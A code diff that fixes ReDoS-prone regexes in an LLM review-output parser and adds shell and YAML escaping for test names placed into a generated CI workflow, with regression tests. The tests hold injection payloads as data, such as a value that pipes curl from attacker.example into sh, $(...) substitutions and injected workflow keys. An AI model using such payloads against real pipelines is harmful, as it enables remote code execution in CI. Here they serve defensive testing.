diff --git a/packages/rules/src/reviewSchema.js b/packages/rules/src/reviewSchema.js index 0888c922..837cfdad 100644 --- a/packages/rules/src/reviewSchema.js +++ b/packages/rules/src/reviewSchema.js @@ -240,13 +240,129 @@ export function reportToLegacy(report) { // JSON Extraction Cascade // ════════════════════════════════════════════════════════════════════════════ +/** + * Deterministic fenced-block scanner (CodeQL js/polynomial-redos #1/#2). + * + * Replaces the two regex strategies — the fenced matcher in single-match + * and matchAll form. That regex's greedy \s* (which matches newlines) + * interacting with the following \n? made the whitespace bridge ambiguous: + * on pathological inputs (a fence followed by very long whitespace runs, no + * closing fence) the engine re-splits the whitespace while the lazy body + * expands, giving quadratic — and with matchAll, multiplied — work on the + * shared review-worker event loop. This scanner pairs opening and closing + * fences with monotonic indexOf cursors: every character is visited a + * bounded number of times, so worst-case work is linear in the input + * regardless of whitespace shape. + * + * Semantics preserved from the regex pair (pinned by + * tests/review-schema-fence-scanner.test.js alongside the pre-existing + * fence tests in reviewSchema.test.js): + * - fences pair sequentially: an opening ``` runs to the NEXT ``` (its + * close); scanning resumes after the close — identical to matchAll's + * continuation after each completed match + * - a `json` label immediately after the opening fence is stripped from the + * body (the regex's (?:json)? consumption); JSON content never begins + * with the letters "json", so the strip cannot destroy a parseable body + * - callers trim bodies before JSON.parse exactly as before, so exact + * boundary whitespace is irrelevant (and was under the regex too) + * - an unclosed trailing fence yields no block; odd fence counts pair + * floor(n/2) blocks, identical to matchAll's completed matches + * + * @param {string} text - full LLM output + * @returns {string[]} fence bodies, in document order (untrimmed) + */ +export function scanFencedBlocks(text) { + const blocks = []; + let cursor = 0; + for (;;) { + const open = text.indexOf("```", cursor); + if (open === -1) break; + const close = text.indexOf("```", open + 3); + if (close === -1) break; // trailing unclosed fence — no complete block remains + let body = text.slice(open + 3, close); + // Strip the immediate optional "json" label plus its following + // whitespace run (down to zero), mirroring the regex's label branch. + body = body.replace(/^json\s*/, ""); + blocks.push(body); + cursor = close + 3; + } + return blocks; +} + +const WS = /\s/; + +/** + * Bounded scan for the embedded-findings pattern (CodeQL + * js/polynomial-redos #3). + * + * Replaces `text.match(/\{"findings"\s*:\s*\[[\s\S]*?\]\s*,\s*"overall_correctness"/)`. + * That regex retried its literal prefix at EVERY index, and per candidate + * rescanned the remaining suffix with the lazy body — quadratic on inputs + * that repeat `{"findings":[` without ever completing the pattern. This + * scanner never rescans: two monotonic indexOf passes (one over the tail + * literal, one over the head literal) with O(1) shape checks per candidate, + * so total work is linear in the input. + * + * Semantics preserved from the regex (pinned by + * tests/review-schema-findings-pattern.test.js): + * - a match exists at a `{"findings"` occurrence iff skipping one + * whitespace run reaches `:`, then one more whitespace run reaches `[`, + * and some `]` follows that `[` with only whitespace, a comma, and + * whitespace before the literal `"overall_correctness"` + * - the FIRST such occurrence (in position order) is returned, identical to + * the regex engine's first-match start. (The old code's extra + * `trimmed.indexOf(matchText)` was provably redundant: an earlier + * occurrence of the full matched text would itself have been an earlier + * pattern match, contradicting first-match selection.) + * + * @param {string} text - full trimmed LLM output + * @returns {number} start index of the first pattern match, or -1 + */ +function findFindingsPatternStart(text) { + // Pass 1 — every valid close: a `]` immediately followed (modulo the two + // whitespace runs) by `,"overall_correctness"`. Scan the tail LITERAL once + // and walk left; each character is visited a constant number of times. + const TAIL = '"overall_correctness"'; + const validCloses = []; + for (let t = text.indexOf(TAIL); t !== -1; t = text.indexOf(TAIL, t + 1)) { + let i = t - 1; + while (i >= 0 && WS.test(text[i])) i -= 1; // whitespace before the quote + if (i >= 0 && text[i] === ",") { + i -= 1; + while (i >= 0 && WS.test(text[i])) i -= 1; // whitespace before the comma + if (i >= 0 && text[i] === "]") validCloses.push(i); + } + } + if (validCloses.length === 0) return -1; + validCloses.sort((a, b) => a - b); // collected right-to-left + + // Pass 2 — candidate heads in order; O(1) shape check plus an + // existence test against the sorted close list. + const HEAD = '{"findings"'; + const lastClose = validCloses[validCloses.length - 1]; + for (let s = text.indexOf(HEAD); s !== -1; s = text.indexOf(HEAD, s + 1)) { + let p = s + HEAD.length; + while (p < text.length && WS.test(text[p])) p += 1; // \s* before ':' + if (text[p] !== ":") continue; + p += 1; + while (p < text.length && WS.test(text[p])) p += 1; // \s* before '[' + if (text[p] !== "[") continue; + p += 1; + // A valid close at or after the body start — the lazy body may be + // empty (`[]` puts the close exactly at p). + if (lastClose >= p) return s; + } + return -1; +} + /** * Extract a JSON review report from LLM output text. * Tries multiple extraction strategies in order. * * Strategies: * 1. Direct JSON.parse - * 2. Strip markdown fences (```json ... ```) + * 2. Strip markdown fences (```json ... ```) — deterministic scanner + * (scanFencedBlocks), not a regex * 3. Extract first {...} block at top level * 4. JSONL stream parsing (one JSON object per line) * 5. Nested structured_output/result unwrapping @@ -269,11 +385,13 @@ export function extractReviewJSON(text) { // continue } - // Strategy 2: Strip markdown fences - const fenceMatch = trimmed.match(/```(?:json)?\s*\n?([\s\S]*?)\n?\s*```/); - if (fenceMatch) { + // Strategy 2: Strip markdown fences — deterministic scanner (linear + // worst-case; the old regex pair was polynomial on adversarial whitespace, + // CodeQL #1/#2). + const fencedBlocks = scanFencedBlocks(trimmed); + if (fencedBlocks.length >= 1) { try { - const parsed = JSON.parse(fenceMatch[1].trim()); + const parsed = JSON.parse(fencedBlocks[0].trim()); return { json: unwrapNested(parsed), strategy: "fenced" }; } catch (_e) { // continue @@ -281,11 +399,10 @@ export function extractReviewJSON(text) { } // Strategy 2b: Multiple fences — try last one (often the actual result) - const allFences = [...trimmed.matchAll(/```(?:json)?\s*\n?([\s\S]*?)\n?\s*```/g)]; - if (allFences.length > 1) { - for (let i = allFences.length - 1; i >= 0; i--) { + if (fencedBlocks.length > 1) { + for (let i = fencedBlocks.length - 1; i >= 0; i -= 1) { try { - const parsed = JSON.parse(allFences[i][1].trim()); + const parsed = JSON.parse(fencedBlocks[i].trim()); return { json: unwrapNested(parsed), strategy: "fenced_multi" }; } catch (_e) { // continue @@ -321,11 +438,12 @@ export function extractReviewJSON(text) { // Strategy 5: Try to find JSON embedded in text (common with Claude) // Look for patterns like: {"findings": [...], "overall_correctness": ...} - const jsonPattern = /\{"findings"\s*:\s*\[[\s\S]*?\]\s*,\s*"overall_correctness"/; - const jsonMatch = trimmed.match(jsonPattern); - if (jsonMatch) { - const startIdx = trimmed.indexOf(jsonMatch[0]); - const subStr = trimmed.slice(startIdx); + // Bounded scan (findFindingsPatternStart) — the replaced regex retried its + // literal prefix at every index and rescanned the remaining suffix per + // candidate, quadratic on repeated incomplete prefixes (CodeQL #3). + const matchStart = findFindingsPatternStart(trimmed); + if (matchStart !== -1) { + const subStr = trimmed.slice(matchStart); const endBrace = findMatchingBrace(subStr); if (endBrace > 0) { try { diff --git a/packages/rules/tests/review-schema-fence-scanner.test.js b/packages/rules/tests/review-schema-fence-scanner.test.js new file mode 100644 index 00000000..4b63ba96 --- /dev/null +++ b/packages/rules/tests/review-schema-fence-scanner.test.js @@ -0,0 +1,162 @@ +// tests/review-schema-fence-scanner.test.js +// #425 unit (#1+#2) regressions: the deterministic fenced-block scanner +// replaces the two polynomial regexes in extractReviewJSON. Two jobs: +// +// 1. EQUIVALENCE — the old regex pair and the scanner must agree on the +// extraction outcome (strategy + parsed json) across a corpus covering +// labels, whitespace shapes, multi-fence, unclosed fences, and nesting. +// The old regexes are reproduced here verbatim so the equivalence is +// pinned in-tree, not asserted from memory. +// 2. BOUNDEDNESS — the adversarial shapes that made the regex polynomial +// (long whitespace runs after an unclosed fence, repeated opening fences +// without closures, long newlines) must complete in linear time, with a +// generous wall-clock bound that the old regex would blow through. + +import { + scanFencedBlocks, + extractReviewJSON, +} from "../src/reviewSchema.js"; + +// The replaced regex pair, verbatim from reviewSchema.js pre-remediation. +const OLD_FENCE = /```(?:json)?\s*\n?([\s\S]*?)\n?\s*```/; +const OLD_FENCE_G = /```(?:json)?\s*\n?([\s\S]*?)\n?\s*```/g; + +/** Outcome of the OLD extraction strategies 2/2b for equivalence checks. */ +function oldFencedOutcome(text) { + const trimmed = text.trim(); + const fenceMatch = trimmed.match(OLD_FENCE); + if (fenceMatch) { + try { + return { strategy: "fenced", json: JSON.parse(fenceMatch[1].trim()) }; + } catch (_e) { /* fall through */ } + } + const allFences = [...trimmed.matchAll(OLD_FENCE_G)]; + if (allFences.length > 1) { + for (let i = allFences.length - 1; i >= 0; i -= 1) { + try { + return { strategy: "fenced_multi", json: JSON.parse(allFences[i][1].trim()) }; + } catch (_e) { /* keep walking backwards */ } + } + } + return null; +} + +/** Full-pipeline equivalence: old strategies 2/2b vs new, on one input. */ +function assertFenceEquivalence(input) { + const oldOutcome = oldFencedOutcome(input); + const extracted = extractReviewJSON(input); + if (oldOutcome === null) { + // Old code fell through to strategies 3-5; the new code must reach the + // SAME subsequent strategies. For corpus members designed to be decided + // at the fence stage, falling through means both sides continue — the + // extraction result must then still agree, so compare full results. + return extracted; + } + expect(extracted.strategy).toBe(oldOutcome.strategy); + expect(extracted.json).toEqual(oldOutcome.json); + return extracted; +} + +// Wall-clock bound generous enough for CI variance yet far below the old +// regex's seconds-scale blowup at these sizes (the maintainer's microbench: +// ~2.06s for ONE unclosed fence + 2,000 spaces). +const TIME_BUDGET_MS = 500; + +function timed(fn) { + const t0 = Date.now(); + const out = fn(); + return { out, ms: Date.now() - t0 }; +} + +describe("EQUIVALENCE: scanner vs replaced regex pair", () => { + const corpus = [ + '```json\n{"findings": [], "overall_correctness": "pass"}\n```', + '```\n{"a": 1}\n```', + 'Here is the review:\n```json\n{"a": 1}\n```\nThanks', + '```\nnot json\n```\n```json\n{"b": 2}\n```', // first invalid, last valid → fenced_multi + '```json\n{"c": 3}\n```\n```json\nbroken\n```', // first valid → fenced + '```json{"d": 4}```', // label with no newline + '``` json\n{"e": 5}\n```', // label NOT immediate (spaces first) — both must fail fence parse identically + 'leading ```\n{"f": 6}\n``` trailing', + '```\n```', // empty body pair + 'unclosed ``` json body without end', // no complete fence + '```x``````y```', // adjacent pairs + '```\n{"g": 7}\n\n```', // blank line before close + 'text before ``` mid-line {"h": 8} ``` text after', + ]; + + test.each(corpus.map((c) => [c]))("corpus %j", (input) => { + assertFenceEquivalence(input); + }); + + it("strategy identifiers are unchanged (fenced / fenced_multi)", () => { + expect(extractReviewJSON('```json\n{"a": 1}\n```').strategy).toBe("fenced"); + expect(extractReviewJSON('```\nnope\n```\n```\n{"b": 2}\n```').strategy).toBe("fenced_multi"); + }); + + it("scanFencedBlocks pairing matches matchAll continuation semantics", () => { + // Odd fence count: matchAll produced floor(n/2) completed matches. + expect(scanFencedBlocks("```a```b```")).toEqual(["a"]); + expect(scanFencedBlocks("```a```b```c```")).toEqual(["a", "c"]); + expect(scanFencedBlocks("no fences")).toEqual([]); + expect(scanFencedBlocks("``````")).toEqual([""]); + }); + + it("label stripping matches the regex's (?:json)? consumption", () => { + expect(scanFencedBlocks("```json\n{}\n```")).toEqual(["{}\n"]); // label + following ws run stripped (greedy, like the regex) + expect(scanFencedBlocks("```json{}```")).toEqual(["{}"]); // label, zero whitespace + expect(scanFencedBlocks("``` json{}\n```")).toEqual([" json{}\n"]); // spaces first: NOT a label + }); +}); + +describe("BOUNDEDNESS: adversarial shapes complete in linear time", () => { + it("unclosed fence + very long SPACE run (the maintainer's reproduced case, scaled)", () => { + const input = "```" + " ".repeat(200_000); + const { out, ms } = timed(() => extractReviewJSON(input)); + expect(out.json).toBeNull(); + expect(ms).toBeLessThan(TIME_BUDGET_MS); + }); + + it("unclosed fence + very long NEWLINE run (CodeQL's stated attack shape)", () => { + const input = "```json" + "\n".repeat(200_000); + const { out, ms } = timed(() => extractReviewJSON(input)); + expect(out.json).toBeNull(); + expect(ms).toBeLessThan(TIME_BUDGET_MS); + }); + + it("repeated opening fences without closures", () => { + const input = "```json".repeat(30_000); + const { out, ms } = timed(() => extractReviewJSON(input)); + expect(ms).toBeLessThan(TIME_BUDGET_MS); + expect(scanFencedBlocks(input)).toHaveLength(15_000); + }); + + it("valid JSON buried after a pathological unclosed prefix still extracts", () => { + const input = "```json" + "\n".repeat(100_000) + "trailing text"; + // No closing fence anywhere: nothing extractable at the fence stage, and + // the cascade must still terminate quickly (strategies 3-5 run on the + // same string). + const { out, ms } = timed(() => extractReviewJSON(input)); + expect(ms).toBeLessThan(TIME_BUDGET_MS); + expect(out.json).toBeNull(); + }); + + it("valid multi-fence response at scale (many fences, last one valid)", () => { + const parts = []; + for (let i = 0; i < 5_000; i += 1) parts.push("```\nnot-json-" + i + "\n```"); + parts.push("```json\n{\"findings\": [], \"overall_correctness\": \"pass\"}\n```"); + const input = parts.join("\n"); + const { out, ms } = timed(() => extractReviewJSON(input)); + expect(out.strategy).toBe("fenced_multi"); + expect(out.json).toEqual({ findings: [], overall_correctness: "pass" }); + expect(ms).toBeLessThan(TIME_BUDGET_MS); + }); + + it("long whitespace run INSIDE a valid fence still extracts (equivalence at scale)", () => { + const input = "```json\n" + " ".repeat(150_000) + "\n{\"deep\": true}\n```"; + const { out, ms } = timed(() => extractReviewJSON(input)); + expect(out.strategy).toBe("fenced"); + expect(out.json).toEqual({ deep: true }); + expect(ms).toBeLessThan(TIME_BUDGET_MS); + }); +}); diff --git a/packages/rules/tests/review-schema-findings-pattern.test.js b/packages/rules/tests/review-schema-findings-pattern.test.js new file mode 100644 index 00000000..21b1ae44 --- /dev/null +++ b/packages/rules/tests/review-schema-findings-pattern.test.js @@ -0,0 +1,147 @@ +// tests/review-schema-findings-pattern.test.js +// #425 unit (#3) regressions: the bounded findings-pattern scan replaces +// the regex /\{"findings"\s*:\s*\[[\s\S]*?\]\s*,\s*"overall_correctness"/ +// whose per-index prefix retry and per-candidate suffix rescan made it +// quadratic on repeated incomplete prefixes. Two jobs, mirroring the fence +// scanner suite: +// +// 1. EQUIVALENCE — the old regex (reproduced verbatim) driving the old +// strategy-5 flow (match → slice from match start → brace balance → +// JSON.parse) and the new scan driving the same flow must agree on +// whether strategy 5 fires, across a corpus covering whitespace shapes, +// first-candidate-completes-via-later-text, unparseable tails, and +// no-match fall-through. Strategy 5 is the LAST resort: corpus members +// that assert pattern_match are built to fail strategies 1-4 first. +// 2. BOUNDEDNESS — the repeated-incomplete-prefix attack input completes in +// linear time under a generous wall-clock bound. + +import { extractReviewJSON } from "../src/reviewSchema.js"; + +// The replaced regex, verbatim. +const OLD_PATTERN = /\{"findings"\s*:\s*\[[\s\S]*?\]\s*,\s*"overall_correctness"/; + +// findMatchingBrace, replicated from reviewSchema.js (unexported there). +function findMatchingBrace(str) { + let depth = 0; + let inString = false; + let escape = false; + for (let i = 0; i < str.length; i += 1) { + const ch = str[i]; + if (escape) { escape = false; continue; } + if (ch === "\\") { if (inString) escape = true; continue; } + if (ch === '"') { inString = !inString; continue; } + if (inString) continue; + if (ch === "{") depth += 1; + else if (ch === "}") { depth -= 1; if (depth === 0) return i; } + } + return -1; +} + +/** TRUE old strategy-5 outcome: fires (and parses) or not. */ +function oldStrategyFiveFires(text) { + const trimmed = text.trim(); + const jsonMatch = trimmed.match(OLD_PATTERN); + if (!jsonMatch) return false; + const startIdx = trimmed.indexOf(jsonMatch[0]); + const subStr = trimmed.slice(startIdx); + const endBrace = findMatchingBrace(subStr); + if (endBrace <= 0) return false; + try { + JSON.parse(subStr.slice(0, endBrace + 1)); + return true; + } catch (_e) { + return false; + } +} + +// Wall-clock bound generous for CI variance, far below the old regex's +// blowup at these sizes. +const TIME_BUDGET_MS = 500; + +function timed(fn) { + const t0 = Date.now(); + const out = fn(); + return { out, ms: Date.now() - t0 }; +} + +// Strategy 5 fires only when strategies 1-4 all failed: embed the pattern +// on ONE line with surrounding text (brace_extract spans to the LAST brace +// and fails; the line is not valid JSONL). +const FIRING = 'intro {"findings": [], "overall_correctness": "pass"} x { trailing }'; // trailing broken brace defeats brace_extract/jsonl so strategy 5 decides +const FIRING_WS = 'x { "findings" : [ {"id": 1} ] , "overall_correctness" : "pass" } y { tail }'; + +describe("EQUIVALENCE: bounded scan vs replaced regex (full old flow)", () => { + const corpus = [ + FIRING, + FIRING_WS, + 'first {"findings": [no completion intro second {"findings": [], "overall_correctness": "pass"} tail', // first candidate completes via later text (lazy body) + '{"findings" : [ ] , "overall_correctness"}', // shape completes, JSON invalid → both must not fire + '{"findings": not-an-array, "overall_correctness": "x"}', // ':' then no '[' → no match → neither fires + 'prefix text with no pattern at all', // neither fires + 'noise {"findings": [], "overall_correctness": "pass"} trailing {"findings": [] and no tail x }', // later partial candidate; trailing x } defeats brace_extract + ]; + + test.each(corpus.map((c) => [c]))("corpus %j", (input) => { + const oldFires = oldStrategyFiveFires(input); + const extracted = extractReviewJSON(input); + if (oldFires) { + expect(extracted.strategy).toBe("pattern_match"); + } else { + expect(extracted.strategy).not.toBe("pattern_match"); + } + }); + + it("fires with strategy identifier preserved: pattern_match", () => { + expect(extractReviewJSON(FIRING).strategy).toBe("pattern_match"); + expect(extractReviewJSON(FIRING).json).toEqual({ findings: [], overall_correctness: "pass" }); + }); + + it("whitespace-shape tolerance matches the regex (tabs/spacing between tokens)", () => { + // Single line with tab spreads: defeats jsonl (one unparseable line) and + // brace_extract (trailing broken brace), so strategy 5 decides. A + // multi-line spread is decided by the untouched jsonl strategy instead. + const spread = 'a {"findings"\t:\t[\t{"id": 1}\t]\t,\t"overall_correctness"\t:\t"pass"\t} b { tail }'; + expect(extractReviewJSON(spread).strategy).toBe("pattern_match"); + expect(oldStrategyFiveFires(spread)).toBe(true); + }); + + it("first candidate completing wins even when a later candidate exists", () => { + const input = FIRING + " mid " + FIRING; + expect(extractReviewJSON(input).strategy).toBe("pattern_match"); + expect(oldStrategyFiveFires(input)).toBe(true); + }); +}); + +describe("BOUNDEDNESS: repeated incomplete prefixes (the attack shape)", () => { + it("30,000 repeated {\"findings\":[ prefixes with no completion — linear time, falls through", () => { + const input = '{"findings":['.repeat(30_000); + const { out, ms } = timed(() => extractReviewJSON(input)); + expect(out.json).toBeNull(); + expect(ms).toBeLessThan(TIME_BUDGET_MS); + }); + + it("30,000 prefixes WITH a completion: scan matches (old regex matches too) but brace balance cannot close 30k opens — both flows fall through, bounded", () => { + const input = "lead " + '{"findings":['.repeat(30_000) + "], \"overall_correctness\": \"pass\"}"; + const { out, ms } = timed(() => extractReviewJSON(input)); + // OLD flow on this input: regex matches at candidate 1, the same slice + // cannot brace-balance (30k opens, 1 close), strategy 5 falls through — + // identical terminal result here. + expect(OLD_PATTERN.test(input)).toBe(true); // the shape DOES complete + expect(out.json).toBeNull(); + expect(ms).toBeLessThan(TIME_BUDGET_MS); + }); + + it("single candidate completing at scale resolves pattern_match", () => { + const input = "lead " + '{"findings":[ {"id":1} ], "overall_correctness": "pass"} tail '.repeat(1_000) + "{ broken"; + const { out, ms } = timed(() => extractReviewJSON(input)); + expect(out.strategy).toBe("pattern_match"); + expect(ms).toBeLessThan(TIME_BUDGET_MS); + }); + + it("repeated prefixes with a tail literal but no valid close shape — linear", () => { + const input = '{"findings":['.repeat(20_000) + '"overall_correctness"'.repeat(500); + const { out, ms } = timed(() => extractReviewJSON(input)); + expect(out.json).toBeNull(); + expect(ms).toBeLessThan(TIME_BUDGET_MS); + }); +}); diff --git a/packages/web/src/services/flakyTestService.js b/packages/web/src/services/flakyTestService.js index e0695695..0824be07 100644 --- a/packages/web/src/services/flakyTestService.js +++ b/packages/web/src/services/flakyTestService.js @@ -205,8 +205,35 @@ async function openQuarantinePR({ candidates, repository, octokit }) { return pr; } -function buildQuarantineWorkflow(candidates, repository) { - const testFilter = candidates.map(c => c.test_suite + " > " + c.test_name).join("|"); +// Boundary sanitizer for untrusted test identifiers (suite and test names +// parsed from repository CI output). These values are interpolated into a +// generated GitHub Actions workflow at TWO layers, and must remain data at +// both: +// 1. YAML — control characters (newlines, carriage returns, and the rest +// of C0 plus DEL) are the only characters that can escape a `command: |` +// block scalar's indentation or a trailing `#` comment line and inject +// workflow structure. They are replaced with spaces; no legitimate +// test identifier contains them. +// 2. Shell — the value lands inside a double-quoted `--testNamePattern=` +// argument. Backslash is escaped FIRST (escaping quotes before +// backslashes lets an attacker's `\"` collapse the escape and close the +// string early), then double quote, dollar sign, and backtick — the +// characters that expand or substitute inside POSIX double quotes. +// Escaping is identical at both interpolation sites (filter and comments) by +// policy: one function, no per-site decisions. +export function sanitizeTestIdentifier(value) { + return String(value ?? "") + .replace(/[\u0000-\u001f\u007f]+/g, " ") + .replace(/\\/g, "\\\\") + .replace(/"/g, '\\"') + .replace(/\$/g, "\\$") + .replace(/`/g, "\\`"); +} + +export function buildQuarantineWorkflow(candidates, repository) { + const testFilter = candidates + .map(c => sanitizeTestIdentifier(c.test_suite) + " > " + sanitizeTestIdentifier(c.test_name)) + .join("|"); return "# Auto-generated by GitWire — Flaky Test Quarantine\n" + "# DO NOT EDIT — managed by GitWire\n\n" + @@ -217,9 +244,9 @@ function buildQuarantineWorkflow(candidates, repository) { " - name: Set up Node\n uses: actions/setup-node@v4\n with:\n node-version: '20'\n" + " - run: npm ci\n" + " - name: Run quarantined tests\n uses: nick-fields/retry@v3\n with:\n timeout_minutes: 15\n max_attempts: 3\n" + - " command: |\n npm test -- --testNamePattern=\"" + testFilter.replace(/"/g, '\\"') + "\" 2>&1\n\n" + + " command: |\n npm test -- --testNamePattern=\"" + testFilter + "\" 2>&1\n\n" + "# Quarantined tests (" + candidates.length + "):\n" + - candidates.map(c => "# - [" + Math.round(c.flakiness_score * 100) + "% failure rate] " + c.test_suite + " > " + c.test_name).join("\n") + "\n"; + candidates.map(c => "# - [" + Math.round(c.flakiness_score * 100) + "% failure rate] " + sanitizeTestIdentifier(c.test_suite) + " > " + sanitizeTestIdentifier(c.test_name)).join("\n") + "\n"; } function buildQuarantinePRBody(candidates) { diff --git a/packages/web/tests/unit/flaky-quarantine-escaping.test.js b/packages/web/tests/unit/flaky-quarantine-escaping.test.js new file mode 100644 index 00000000..cf6f45e9 --- /dev/null +++ b/packages/web/tests/unit/flaky-quarantine-escaping.test.js @@ -0,0 +1,174 @@ +// tests/unit/flaky-quarantine-escaping.test.js +// CodeQL #5 remediation regressions: untrusted test identifiers (suite and +// test names parsed from repository CI output) are interpolated into the +// generated GitHub Actions quarantine workflow at two layers and must remain +// DATA at both: +// YAML — control characters cannot escape the `command: |` block scalar +// or the trailing `#` comment lines to inject workflow structure. +// shell — backslash, double quote, dollar sign, and backtick cannot break +// out of the double-quoted --testNamePattern argument. +// +// The whole generated document is parsed with a real YAML parser (js-yaml), +// and the shell argument is decoded with a POSIX double-quote tokenizer, so +// the assertions hold at the actual parsing layers rather than against +// substring trivia. + +import { jest } from "@jest/globals"; +import { load as yamlLoad } from "js-yaml"; + +const mockQuery = jest.fn(); + +await jest.unstable_mockModule("../../src/lib/db.js", () => ({ db: { query: mockQuery } })); +await jest.unstable_mockModule("../../src/lib/logger.js", () => ({ + logger: { info: jest.fn(), warn: jest.fn(), error: jest.fn(), debug: jest.fn(), child: () => ({ info: jest.fn(), warn: jest.fn(), error: jest.fn(), debug: jest.fn() }) }, +})); +await jest.unstable_mockModule("../../src/services/pipelineEvents.js", () => ({ Events: { record: jest.fn() } })); +await jest.unstable_mockModule("@anthropic-ai/sdk", () => ({ + default: class { constructor() { this.messages = { create: jest.fn().mockResolvedValue({ content: [{ type: "text", text: "[]" }] }) }; } }, +})); +await jest.unstable_mockModule("../../config/index.js", () => ({ + config: { server: { env: "test" }, anthropic: { apiKey: "test", baseURL: "http://test" }, ai: { model: "test-model" } }, +})); + +const { buildQuarantineWorkflow, sanitizeTestIdentifier } = await import("../../src/services/flakyTestService.js"); + +// POSIX double-quote decoder for a single shell argument. Input: the raw +// command-line tail exactly as the generated line carries it (starting +// AFTER the opening quote). Returns the decoded argument so far and the +// text remaining AFTER the quote that terminated it. The argument is +// well-formed exactly when the terminator is the intended closing quote — +// i.e. `rest` is the intended trailing redirect (`2>&1`) and nothing else. +// Any unescaped quote inside the payload ends the argument early and shows +// up as attacker text in `rest` — precisely the injection this remediation +// must prevent. +function shDecodeDoubleQuoted(raw) { + let out = ""; + for (let i = 0; i < raw.length; i += 1) { + const ch = raw[i]; + if (ch === "\\") { + out += raw[i + 1] ?? ""; + i += 1; + continue; + } + if (ch === `"`) return { out, rest: raw.slice(i + 1) }; + out += ch; + } + return { out, rest: "" }; +} + +// Extract the testNamePattern argument payload from the generated command +// block: everything between `--testNamePattern="` and the line's end. +function extractTestNamePatternRaw(yamlText) { + const line = yamlText.split("\n").find((l) => l.includes("--testNamePattern=")); + if (!line) return null; + const at = line.indexOf('--testNamePattern="'); + return line.slice(at + '--testNamePattern="'.length); +} + +function candidate(suite, name) { + return { test_suite: suite, test_name: name, flakiness_score: 0.42, run_count: 10 }; +} + +describe("sanitizeTestIdentifier (unit)", () => { + it("strips every C0 control character and DEL to a space (YAML layer)", () => { + const out = sanitizeTestIdentifier("a\nb\rc\td\x00e\x1ff\x7fg"); + expect(out).toBe("a b c d e f g"); + // No control characters survive anywhere in the sanitized value. + expect(/[\u0000-\u001f\u007f]/.test(out)).toBe(false); + }); + + it("escapes backslash BEFORE double quote — the \\\" pair cannot close the shell string", () => { + const out = sanitizeTestIdentifier("evil\\\"; touch /tmp/pwned; \\\""); + // The source backslash is doubled first, then the quote is escaped, so a + // POSIX decoder reads: backslash, quote, ; touch ... — all inside the arg. + const decoded = shDecodeDoubleQuoted(out); + expect(decoded.rest).toBe(""); + expect(decoded.out).toBe("evil\\\"; touch /tmp/pwned; \\\""); + }); + + it("escapes dollar sign and backtick (command substitution and expansion stay data)", () => { + const out = sanitizeTestIdentifier("$(id) `id` $HOME"); + const decoded = shDecodeDoubleQuoted(out); + expect(decoded.rest).toBe(""); + expect(decoded.out).toBe("$(id) `id` $HOME"); + expect(out).toContain("\\$"); + expect(out).toContain("\\`"); + }); + + it("leaves ordinary test names byte-identical (equivalent quarantine behavior)", () => { + expect(sanitizeTestIdentifier("auth > logs in with valid token [slow]")).toBe("auth > logs in with valid token [slow]"); + }); +}); + +describe("buildQuarantineWorkflow (generated-document regressions)", () => { + it("produces a YAML-parseable workflow with exactly one job and the intended steps for a normal candidate", () => { + const doc = yamlLoad(buildQuarantineWorkflow([candidate("auth", "logs in")], { full_name: "o/r" })); + expect(Object.keys(doc.jobs)).toEqual(["quarantine"]); + expect(doc.jobs.quarantine["runs-on"]).toBe("ubuntu-latest"); + const names = doc.jobs.quarantine.steps.map((s) => s.name ?? s.uses); + expect(names).toEqual(["actions/checkout@v4", "Set up Node", undefined, "Run quarantined tests"]); + // The filter argument decodes to the exact benign name. + const raw = extractTestNamePatternRaw(buildQuarantineWorkflow([candidate("auth", "logs in")], { full_name: "o/r" })); + const decoded = shDecodeDoubleQuoted(raw); + expect(decoded.out).toBe("auth > logs in"); + expect(decoded.rest.trim()).toBe("2>&1"); + }); + + it("SHELL INJECTION: a crafted \\\" name cannot terminate the testNamePattern argument", () => { + const evil = 'evil\\"; curl https://attacker.example|sh; \\"'; + const yamlText = buildQuarantineWorkflow([candidate("suite", evil)], { full_name: "o/r" }); + const decoded = shDecodeDoubleQuoted(extractTestNamePatternRaw(yamlText)); + expect(decoded.out).toBe('suite > evil\\"; curl https://attacker.example|sh; \\"'); + expect(decoded.rest.trim()).toBe("2>&1"); // the closing quote is the INTENDED one — payload stayed one argument + }); + + it("SHELL INJECTION: $(), backticks, and $VAR remain literal data", () => { + const yamlText = buildQuarantineWorkflow([candidate("s", "$(curl evil|sh) `id` ${IFS}")], { full_name: "o/r" }); + const decoded = shDecodeDoubleQuoted(extractTestNamePatternRaw(yamlText)); + expect(decoded.out).toBe("s > $(curl evil|sh) `id` ${IFS}"); + expect(decoded.rest.trim()).toBe("2>&1"); + }); + + it("YAML STRUCTURE: an embedded newline cannot inject workflow keys — the document parses with unchanged structure", () => { + const evil = "ok\nruns-on: ubuntu-latest\n - run: malicious\non: [push]"; + const yamlText = buildQuarantineWorkflow([candidate("s", evil)], { full_name: "o/r" }); + // The whole document still parses and the structure is exactly the + // intended single quarantine job. + const doc = yamlLoad(yamlText); + expect(Object.keys(doc.jobs)).toEqual(["quarantine"]); + expect(doc.jobs.quarantine["runs-on"]).toBe("ubuntu-latest"); + expect(doc.jobs.quarantine.steps).toHaveLength(4); + expect(doc.on).toEqual({ schedule: [{ cron: "0 6 * * 1" }], workflow_dispatch: null }); + // The injected text survives as data inside the argument, not as YAML. + const decoded = shDecodeDoubleQuoted(extractTestNamePatternRaw(yamlText)); + expect(decoded.out).toContain("runs-on: ubuntu-latest"); + expect(decoded.out).toContain("- run: malicious"); + // No line outside the intended template carries the injected markers. + const structureLines = yamlText.split("\n").filter((l) => /^\s*- run: malicious/.test(l) || /^\s*on: \[push\]/.test(l)); + expect(structureLines).toEqual([]); + }); + + it("YAML STRUCTURE: carriage returns are neutralized identically", () => { + const yamlText = buildQuarantineWorkflow([candidate("s", "a\r\njobs:\r\n evil: boom")], { full_name: "o/r" }); + const doc = yamlLoad(yamlText); + expect(Object.keys(doc.jobs)).toEqual(["quarantine"]); + }); + + it("multiple candidates join with | and each is sanitized independently", () => { + const yamlText = buildQuarantineWorkflow( + [candidate("s1", 'n\\"1'), candidate("s2", "$x")], + { full_name: "o/r" }, + ); + const decoded = shDecodeDoubleQuoted(extractTestNamePatternRaw(yamlText)); + expect(decoded.out).toBe('s1 > n\\"1|s2 > $x'); + expect(decoded.rest.trim()).toBe("2>&1"); + }); + + it("comment lines carry the same sanitization (no control characters anywhere in the document)", () => { + const yamlText = buildQuarantineWorkflow([candidate("s", "line1\nline2")], { full_name: "o/r" }); + expect(/[\u0000-\u0008\u000b\u000c\u000e-\u001f\u007f]/.test(yamlText)).toBe(false); + // Newlines exist only as the template's own line separators: the comment + // line shows the name flattened to one line. + 